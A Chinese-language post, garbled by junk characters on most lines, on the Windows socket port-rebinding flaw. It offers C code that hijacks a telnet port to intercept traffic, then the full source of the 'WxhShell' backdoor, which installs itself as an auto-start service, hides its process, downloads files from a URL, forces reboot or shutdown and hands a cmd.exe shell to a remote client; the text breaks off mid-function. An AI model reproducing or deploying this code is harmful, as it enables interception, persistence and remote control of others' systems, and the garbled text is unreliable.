在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[ HNGTde& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M6 0(yTm xTAC&OCk^[ saddr.sin_family = AF_INET;
y'4= JN3Oe5yB2@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
j/^0q90QO p(Qm\g< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)}u.b-Nt. +(|T\%$DT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nHT2M{R 37lmB
'~ 这意味着什么?意味着可以进行如下的攻击:
?J<4IvL/ \W1?Qc1] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$,h*xb. VnIJ$5Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q~l&EH0 .}CPZ3y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IS'=%qhC` #;^.&2Lt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PeE'#&wn sKHUf1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%
;6e@U} urog.Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}"xC1<] *;o=hM)Tp 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p=7kFv >#0yd7BST #include
/"/$1F%{ #include
]@WJ&e/'@ #include
:5"|iRP' #include
5RlJybN"o DWORD WINAPI ClientThread(LPVOID lpParam);
I{1w8m4O6 int main()
g~Q#U;] {
O[`n{Vl/ WORD wVersionRequested;
y f+/Kj<
a DWORD ret;
_Thc\{aV# WSADATA wsaData;
6o,,w^ BOOL val;
JLg_oK6 SOCKADDR_IN saddr;
o.k#|q SOCKADDR_IN scaddr;
g<{~f int err;
=<33( SOCKET s;
vEfX'gyk SOCKET sc;
RHB>svT^K> int caddsize;
L2K4nTA HANDLE mt;
0n3O;=[aV DWORD tid;
b5H[~8mf wVersionRequested = MAKEWORD( 2, 2 );
i>e7 5`9 err = WSAStartup( wVersionRequested, &wsaData );
|dXS+R1 if ( err != 0 ) {
.GS|H d printf("error!WSAStartup failed!\n");
d~[>%& return -1;
nGyY`wt&Rg }
44_n5vp,T saddr.sin_family = AF_INET;
M)3h 4yQ KQr=;O\T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5(U.< \6@}HFH saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l}<s~ip saddr.sin_port = htons(23);
9 -TFyZYU if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KE(kR>OB] {
LXw&d]P printf("error!socket failed!\n");
Hj2P|;2S return -1;
y0=BL }
a2YdkdjT val = TRUE;
>GZF\ER //SO_REUSEADDR选项就是可以实现端口重绑定的
?mF-zA'4] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mXa1SZnE {
du47la 3 printf("error!setsockopt failed!\n");
'l<kY\I!% return -1;
u,'c:RMV }
F]YPq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VSP[G ,J. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3-_4p8OK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
wBmbn=>#S $]%k
<|X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vmmu[v {
Wje7fv ret=GetLastError();
l sUQ7%f printf("error!bind failed!\n");
1 bv L return -1;
9`vse>,-hg }
2@A7i<p listen(s,2);
;N4mR6 while(1)
wV(_=LF {
n}._Nb
5 caddsize = sizeof(scaddr);
9Uk9TG 5 //接受连接请求
V#sANi?mpo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+/UInAM if(sc!=INVALID_SOCKET)
Ya,>E@oc {
\W$>EH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qP]Gl--q{ if(mt==NULL)
ozGK
-$ {
VT0I1KQx. printf("Thread Creat Failed!\n");
tM!1oWH break;
I*}:C }
w#"c5w~ }
[%3{mAd CloseHandle(mt);
47t^{WrT }
q 2=^l closesocket(s);
oR3$A :!P= WSACleanup();
`#9ZP return 0;
UkeW2l`: }
)_f
"[m% DWORD WINAPI ClientThread(LPVOID lpParam)
wdp4- * {
c.d*DM}W SOCKET ss = (SOCKET)lpParam;
\WZ00Y,* SOCKET sc;
p%,JWZ[ unsigned char buf[4096];
x#pTB. SOCKADDR_IN saddr;
m4kmJaM long num;
_u.l|yR DWORD val;
hS<x+|'l DWORD ret;
9-L.?LG //如果是隐藏端口应用的话,可以在此处加一些判断
h{>8W0W* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`cVG_=2 saddr.sin_family = AF_INET;
|@Z
QoH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H,zRmK6A% saddr.sin_port = htons(23);
\7Zk[)!FL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i;Gl-b\_h {
dyg1.n#M} printf("error!socket failed!\n");
jIuE1ve return -1;
z+wBZn{0I }
!5p01]7 val = 100;
7(wY4T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R#Ss_y {
:a`l_RMU ret = GetLastError();
jQ`cfE$sV return -1;
gKBcD\F }
Dwwh;B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oBIKtS*L {
~9x$tb x- ret = GetLastError();
6h;$^3x$ return -1;
t'7)aJMP }
="Dmfy7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o3%+FWrVTS {
Fet>KacTht printf("error!socket connect failed!\n");
o2Z#
5- closesocket(sc);
H?O* closesocket(ss);
X;zy1ZH return -1;
[t ?ftS }
!9V_U while(1)
M|76,2u {
j>P>MdZtk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BcA:M\dK% //如果是嗅探内容的话,可以再此处进行内容分析和记录
B;_M52-B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.K:>`~<) num = recv(ss,buf,4096,0);
G$`/86A ) if(num>0)
4.R
>mN[ send(sc,buf,num,0);
`)K1[& else if(num==0)
LVO`+: break;
-w^E~J0*L num = recv(sc,buf,4096,0);
.7cQKdvcC if(num>0)
Rz%+E0 send(ss,buf,num,0);
|8V+(Vzl else if(num==0)
\W#M]Q break;
MheP@ [w|@ }
8]+hfB/ closesocket(ss);
Z
wIsEJz closesocket(sc);
'rU5VrK return 0 ;
"EHwv2Hm> }
oXb}6YC [% YCupr# !a4pKN`qLY ==========================================================
d94Lc-kq^ 72luTR Q 下边附上一个代码,,WXhSHELL
6?(*:}Q }&EPH}V2n ==========================================================
CA:t](xqQ }6ec2I%`o #include "stdafx.h"
keCM}V`?" J`V7FlM #include <stdio.h>
6fQQKM@a| #include <string.h>
vvdC.4O #include <windows.h>
7e>n{rl #include <winsock2.h>
r!j_KiUy #include <winsvc.h>
~eE2!/%9 #include <urlmon.h>
D0tI y\V!OY@ #pragma comment (lib, "Ws2_32.lib")
E3sl"d;~ #pragma comment (lib, "urlmon.lib")
X_O(j!h 1j3mTP #define MAX_USER 100 // 最大客户端连接数
A"i40 @+ #define BUF_SOCK 200 // sock buffer
XeJx/'9o{ #define KEY_BUFF 255 // 输入 buffer
"J7=3$CA yv]/A<gP+ #define REBOOT 0 // 重启
mI9~\k&9 #define SHUTDOWN 1 // 关机
M>8#is(pV #t
po@pJsE #define DEF_PORT 5000 // 监听端口
VbJGyjx s$| GVv1B #define REG_LEN 16 // 注册表键长度
F0]NtKaH #define SVC_LEN 80 // NT服务名长度
Y|>y]x :J}L| `U9 // 从dll定义API
D+#QQH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#k5Nnv#(J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
w}YO+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x4R[Q&:M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U
$e-e/ !&?(ty^F // wxhshell配置信息
@My-O@C> struct WSCFG {
op/|&H' int ws_port; // 监听端口
`epO/Uu\~u char ws_passstr[REG_LEN]; // 口令
( *U Mpdj int ws_autoins; // 安装标记, 1=yes 0=no
6# ,2 char ws_regname[REG_LEN]; // 注册表键名
UC\CCDV#^ char ws_svcname[REG_LEN]; // 服务名
?0Z?Z3)%w4 char ws_svcdisp[SVC_LEN]; // 服务显示名
ST] h NM char ws_svcdesc[SVC_LEN]; // 服务描述信息
&mp=j GR char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:anUr< int ws_downexe; // 下载执行标记, 1=yes 0=no
" :@5|4qK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$yLsuqB} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|^8l8u #4DEb<D };
}e& o-yZ$+V // default Wxhshell configuration
#-Ehg4W struct WSCFG wscfg={DEF_PORT,
3g^_Fq' "xuhuanlingzhe",
(Lp<T! " 1,
ENr\+{{% "Wxhshell",
-Wb/3X "Wxhshell",
i4JqU\((] "WxhShell Service",
<TC\Nb$~ "Wrsky Windows CmdShell Service",
IBo)fE\O "Please Input Your Password: ",
~\6Kq`Y 1,
o{37}if "
http://www.wrsky.com/wxhshell.exe",
Myg
&H(~ "Wxhshell.exe"
hL+)XJu^J };
bb}|"m. :l'61$= // 消息定义模块
}L'BzSU@G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z9E[RD char *msg_ws_prompt="\n\r? for help\n\r#>";
ofC=S$wX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'n6D3Vse char *msg_ws_ext="\n\rExit.";
sy0|=E*;8" char *msg_ws_end="\n\rQuit.";
Fr`"XH char *msg_ws_boot="\n\rReboot...";
PsjSL8] char *msg_ws_poff="\n\rShutdown...";
\U\ W Q char *msg_ws_down="\n\rSave to ";
6f v{?0| -M/DOTc char *msg_ws_err="\n\rErr!";
eR$qw#%c* char *msg_ws_ok="\n\rOK!";
2I3MV:5 ]O,;t> char ExeFile[MAX_PATH];
^M0e 0 int nUser = 0;
[]}E-
V HANDLE handles[MAX_USER];
&-dyg+b3 int OsIsNt;
DZ<q)EpC & w&JE]$ 5 SERVICE_STATUS serviceStatus;
W]}y:_t4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
fb0i6RC~& 2/<VoK0b // 函数声明
V\5ZRLawP int Install(void);
( d#E16y int Uninstall(void);
>TK:&V int DownloadFile(char *sURL, SOCKET wsh);
\Z{6j&; int Boot(int flag);
\7n ;c void HideProc(void);
[AstD9 int GetOsVer(void);
=aX;- int Wxhshell(SOCKET wsl);
z/dpnGX void TalkWithClient(void *cs);
VJ8cls< int CmdShell(SOCKET sock);
lyc
]E
9 int StartFromService(void);
[K1RP. int StartWxhshell(LPSTR lpCmdLine);
Oi+9kk
e F=?0:2P0bD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b=amd* VOID WINAPI NTServiceHandler( DWORD fdwControl );
x|g>Zd/n jNd."[IrO // 数据结构和表定义
cv})^E$x SERVICE_TABLE_ENTRY DispatchTable[] =
(S3\O `5 {
!YYI{BJ7:N {wscfg.ws_svcname, NTServiceMain},
He @d~9M {NULL, NULL}
#&u9z5ywM };
:08b&myx l|TiUjs // 自我安装
6jyS]($q int Install(void)
l.[S.@\ =. {
I.As{0cc char svExeFile[MAX_PATH];
!~#zH0# HKEY key;
v50w}w' strcpy(svExeFile,ExeFile);
<Ih)h$8` r{R879 // 如果是win9x系统,修改注册表设为自启动
n] {sBI3 if(!OsIsNt) {
sl?> X)} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rWsUWA T* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v/gxQy+l RegCloseKey(key);
HG
kL6o= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.nh }f}j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*L7&P46 RegCloseKey(key);
onqfmQ,3E return 0;
.{r 0Szm. }
}^3CG9% }
X0G6Wp }
>8%<ML else {
noI>Fw<V 2aj9:S // 如果是NT以上系统,安装为系统服务
.Y`;{) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R2K{vs if (schSCManager!=0)
B'[FnJ8~ {
5AFy6Ab SC_HANDLE schService = CreateService
1j4tR#L (
f0Wbc\L[ schSCManager,
SlK6KnX wscfg.ws_svcname,
EGJ d:>k wscfg.ws_svcdisp,
f0!i<9< SERVICE_ALL_ACCESS,
b&]_5 GGc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r2!\Ts 5v SERVICE_AUTO_START,
H 5\k`7R SERVICE_ERROR_NORMAL,
hJ|zX svExeFile,
gu:8+/W8L NULL,
T)N_ ~f| NULL,
<yNu/B.M NULL,
=emcs% NULL,
' 5tk0A NULL
q)N]*~ );
^UJB%l if (schService!=0)
KAkD" (! {
=Pj+^+UM CloseServiceHandle(schService);
nLvF^%P8 CloseServiceHandle(schSCManager);
I!-"SuBy4J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ut/3?E1 Z strcat(svExeFile,wscfg.ws_svcname);
Yf&P|Iiw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kz30! L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
};/;L[,G RegCloseKey(key);
k{Ad(S4J& return 0;
H<N$z3k }
9szUN;:ZZ }
`|rF^~6(dR CloseServiceHandle(schSCManager);
,ICn]Pdz@ }
2?c##Izn }
*h([ai"1- LZR
x>q^ return 1;
fGtYvl O-5 }
&AUtUp
kOo M0) q // 自我卸载
PoB-:G6 int Uninstall(void)
,y>Sq + {
u$M,&Om HKEY key;
qnc?&f uT :Yh6 if(!OsIsNt) {
xa"8"8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~6nY5 RegDeleteValue(key,wscfg.ws_regname);
azBYh*s=5{ RegCloseKey(key);
.dwy+BzS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e #!YdXSx RegDeleteValue(key,wscfg.ws_regname);
GBg~NkC7. RegCloseKey(key);
f$y`tT %o return 0;
70Z#Ej }
/BN_K8nb` }
fex<9'e }
> a?K![R else {
y]U]b G{ _A/q bm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r `;_ #&b if (schSCManager!=0)
a]S0|\BkN {
ovXU +8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*r90IS}A$2 if (schService!=0)
-ZVCb@% {
B=d
:r if(DeleteService(schService)!=0) {
mxPzB#t4 CloseServiceHandle(schService);
KHO@"+ CloseServiceHandle(schSCManager);
(,`R >Dk return 0;
T%Nm }
'-KYeT\; CloseServiceHandle(schService);
14DHU }
5Q$.q&, CloseServiceHandle(schSCManager);
;}>g/lw }
wJAJ / }
*DUP$@}k =:"wU return 1;
Vu=e|A# }
`m")v0n3 /$=<"Y7&g // 从指定url下载文件
Tb!Fv W int DownloadFile(char *sURL, SOCKET wsh)
\#(tI3 {
&02I-lD4+ HRESULT hr;
+x(~!33[G char seps[]= "/";
`k;MGs)& char *token;
CM`B0[B char *file;
G4;5$YGG char myURL[MAX_PATH];
a\l?7Jr char myFILE[MAX_PATH];
e0z(l/UB 1=@csO_yn strcpy(myURL,sURL);
$*')Sma token=strtok(myURL,seps);
uB1>.Pvxb while(token!=NULL)
k[Ue}L| {
omoD+ file=token;
Rp0`%}2
o token=strtok(NULL,seps);
ascY E }
"xduh3/~= fMm.V=/+ GetCurrentDirectory(MAX_PATH,myFILE);
=pk5'hBAi strcat(myFILE, "\\");
p6c&vEsNj strcat(myFILE, file);
1DRih>+# send(wsh,myFILE,strlen(myFILE),0);
wrhGZ=k{ send(wsh,"...",3,0);
^B?brH} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n@te.,?A" if(hr==S_OK)
mMOjV_ return 0;
+ktubJ@Qgj else
IzI2w6a return 1;
4Q17vCC*n Y
a/+|mv }
dMw}4c3E ]tx/t^&/\u // 系统电源模块
YAP,#a int Boot(int flag)
HD_ #-M {
: *8t,f~s^ HANDLE hToken;
`8lS)R! TOKEN_PRIVILEGES tkp;
e.VQ!)> B{ tROuN< if(OsIsNt) {
f`K[oCfu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5HC5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;k:17&:8ue tkp.PrivilegeCount = 1;
y2M]z:Y U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[[7=rn}@< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@L ,4JPk if(flag==REBOOT) {
1:;S6{oQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^61;0 return 0;
wx*03(|j; }
/<VR-yr else {
SH6+'7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
92(P~Sdv return 0;
n@$("p }
6PyW(i(bs }
`lcQ
Yd<,4 else {
7h#*djef if(flag==REBOOT) {
tjg?zlj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XGb*LY+Db6 return 0;
Ws/\lD }
{!&^VXZIT else {
!~Ptnr`; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z'01V8e return 0;
eq(1'?7]`G }
uGpLh0 }
8 RA Q2 Dh( return 1;
_$KEE|9 }
,4HZ-|EOZ puAjAvIax // win9x进程隐藏模块
Oq*;GR(Q void HideProc(void)
Oy_%U* {
| Di7,$c B:96E& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7{lWg x if ( hKernel != NULL )
: "^/?Sd {
B|K^:LUk9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
t{-*@8Ke ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
: G'a"%x FreeLibrary(hKernel);
LeV";=_n }
7/zaf /:@)De(S return;
d7G
DIYH< }
_BoYyJQH _<%YLv // 获取操作系统版本
/'a\$G"%6 int GetOsVer(void)
` >loleI {
cD t|v~ OSVERSIONINFO winfo;
12@Ge] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~gdnD4[G GetVersionEx(&winfo);
? sv[vR( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.hRtQU return 1;
Dkg^B@5Xr else
u'T?e+= return 0;
1i&|}" }
to;^'#B <+UJgB
A- // 客户端句柄模块
H8kB.D[7Q int Wxhshell(SOCKET wsl)
O%f{\Fr {
vNHvuwK SOCKET wsh;
!l5@L\ struct sockaddr_in client;
26}fB DWORD myID;
y~'%PUN ! u@JH` while(nUser<MAX_USER)
ZypK''&oc {
\M;cF"e-S int nSize=sizeof(client);
qpjiQ,\:b wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\]0#jI/: if(wsh==INVALID_SOCKET) return 1;
C;?<WtH \dbaY: ( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d;nk>6<| if(handles[nUser]==0)
RI<&cgWn+< closesocket(wsh);
R*?!xDJ else
&4wwp !J nUser++;
-"EPU]q }
vdh[%T,& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V4&a+MJ@ =zTpDL return 0;
6rM{r> }
vVZ+u4y LrT?
]o // 关闭 socket
ZH<qidpR void CloseIt(SOCKET wsh)
Qxfds`4V9i {
55ft,a closesocket(wsh);
A2!pbeG nUser--;
M8IU[Pz4 ExitThread(0);
8JXS:J.|v }
#qARcxbK| i91k0q*di // 客户端请求句柄
TR%8O; void TalkWithClient(void *cs)
7m %[$X` {
BMtk/r/ shEAr*u SOCKET wsh=(SOCKET)cs;
N8DouDq char pwd[SVC_LEN];
d@tf+_Ih char cmd[KEY_BUFF];
@{Dfro char chr[1];
.7M.bpmqE int i,j;
SkmKf~v *zMt/d*<& while (nUser < MAX_USER) {
Jpc% i8 /A+5q\8G if(wscfg.ws_passstr) {
/Ny#+$cfk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7uf5w0] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9fWR8iV //ZeroMemory(pwd,KEY_BUFF);
h8 FV2" i=0;
>2F9Tz,3 while(i<SVC_LEN) {
=?_:h`} j`+{FCB7 // 设置超时
9Wg;M#c2Y| fd_set FdRead;
j'OXT<n* struct timeval TimeOut;
At'M? Q@v FD_ZERO(&FdRead);
$3gM P+ FD_SET(wsh,&FdRead);
"<Yxt"Z4 TimeOut.tv_sec=8;
e jR_3K^ TimeOut.tv_usec=0;
2PSkLS&IM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}=B~n0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u08j9)
,4 [E+J=L.l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=q>lP+ pwd
=chr[0]; ,M:[GuXD<
if(chr[0]==0xd || chr[0]==0xa) { NV==[$ (r
pwd=0; Uw| -d[!
break; FAdTp.
} o+L[o_er
i++; m2&Vm~Py6b
} I`s~.fZt
omznSL
// 如果是非法用户,关闭 socket 'V8o["P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +_25E.>ml
} =A~5?J=
8kC$Z )
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q`{Vs:8X
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [e_<UF@A*
a^\F9^j
while(1) { g}IOHE
zl|+YjR
ZeroMemory(cmd,KEY_BUFF); h6bvUI+|h
eC WF0a
// 自动支持客户端 telnet标准 F+?i{$
j=0; XfflD9M
while(j<KEY_BUFF) { RCi8{~rIvS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @$Yk#N;&(
cmd[j]=chr[0]; s
Ytn'&$\
if(chr[0]==0xa || chr[0]==0xd) { 4>2\{0r
cmd[j]=0; O9m sPb:
break; zo("v*d*q
} I[b{*g2Zw
j++; m%UF{I,
} ^6Zx-Mf\
wp'[AR}
// 下载文件 lHPnAaue@
if(strstr(cmd,"http://")) { yE.st9m
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -[&Z{1A4x4
if(DownloadFile(cmd,wsh)) gI9nxy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8k)*f+1o
else ,1cpV|mAr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s];0-65)
} _00}O+GLM4
else { [mNu m3e
!vVW8hbp
switch(cmd[0]) { $at\aJ
CIsX$W
// 帮助 =[[I<[BZq
case '?': { \}%_FnP0ZU
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I2pE}6q
break; LE~vSm^#
} J`C 2}$
~
// 安装 Q@8(e&{#W
case 'i': { 6
8fnh'I!
if(Install()) /x]^Cqe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LN5BU,4=
else F_i"v5#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #f;6Ia>#
break; t:P7ah
} f="Zpl W
// 卸载 E{QjmlXQ<
case 'r': { +]GP"yv-
if(Uninstall()) q2OF-.rE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}u`*&,g
else &;WK=#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lxbC 7?O
break; U>00B|<GJ
} kGC*\?<LmR
// 显示 wxhshell 所在路径 ^CM@VmPp
case 'p': { M,yxPHlN
char svExeFile[MAX_PATH]; I,05'edCQ
strcpy(svExeFile,"\n\r"); +uj;00 D
strcat(svExeFile,ExeFile); IP-M)_I
send(wsh,svExeFile,strlen(svExeFile),0); NPFI^Uj#A
break; N H:Bdl3
} LOu9 #w"
// 重启 qT:`F
case 'b': { +2k{yl
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f}KV4'n
if(Boot(REBOOT)) Hwtoa,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |/c-~|%
else { C-@M|K9A'
closesocket(wsh); @[`]w`9Q7
ExitThread(0); XbeT x
} h,-i\8gq
break; #Ye0*`
} pIug$Ke_%
// 关机 H;@0L}Nu+}
case 'd': { gNZ"Kr o6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Fe/=]<$
if(Boot(SHUTDOWN)) bD3 dT>(+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K6)IBV;
else { I>w|80%%
closesocket(wsh); 'vZy-qHrV
ExitThread(0); EZVgTySd
} p2fzbBt
break; jsF5q~F
} 8Fbt >-N<\
// 获取shell ftRdK>a
D
case 's': { BeD>y@ it
CmdShell(wsh); L_+Fin
closesocket(wsh); nB[B
FVkU
ExitThread(0); X+ybgB4(
break; cG 3tn&AXi
} 09 f;z
// 退出 MSp)Jc
case 'x': { F x$W3FIO]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YACx9K H
CloseIt(wsh); 0LIXkF3^1
break; NXz/1ut%
} BPKrRex
// 离开 >{A)d<
case 'q': { D5xTuv9T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); iCGHcN^3
closesocket(wsh); !Htl e %
WSACleanup(); @Jlsx0i}}
exit(1); rTOex]@N
break; 9"L!A,&'
} >* F#ZZv}p
} \l# H#~
} %kH,Rl\g
X'%BS
// 提示信息 hY *^rY'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Bd:R}yZP7
} Uxe]T
} }dqOE-"I"n
.vIRz-S
return; }N,v&B
}
=i2]qj\
'%rn-|)
// shell模块句柄 e(OKE7
int CmdShell(SOCKET sock) .lI.I
{
nJ1<8 p
STARTUPINFO si; F4~O-g.<
ZeroMemory(&si,sizeof(si)); RUut7[r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p_fsEY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LJ 9#!r@H
PROCESS_INFORMATION ProcessInfo; =+<DNW@%
char cmdline[]="cmd"; Wh"xt:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~H[_=
return 0; 9I#a{%A:
} %+#l{\z
O`PQ4Q*F
// 自身启动模式 #"H<k(-Cz
int StartFromService(void) %RzkP}1>E
{ ;7JyL|2
typedef struct us<dw@P7{
{ Y9%zo~]-W'
DWORD ExitStatus; c"Q9ob
DWORD PebBaseAddress; V4W(>g
DWORD AffinityMask; WS1Y maV
DWORD BasePriority; V.yDZ"
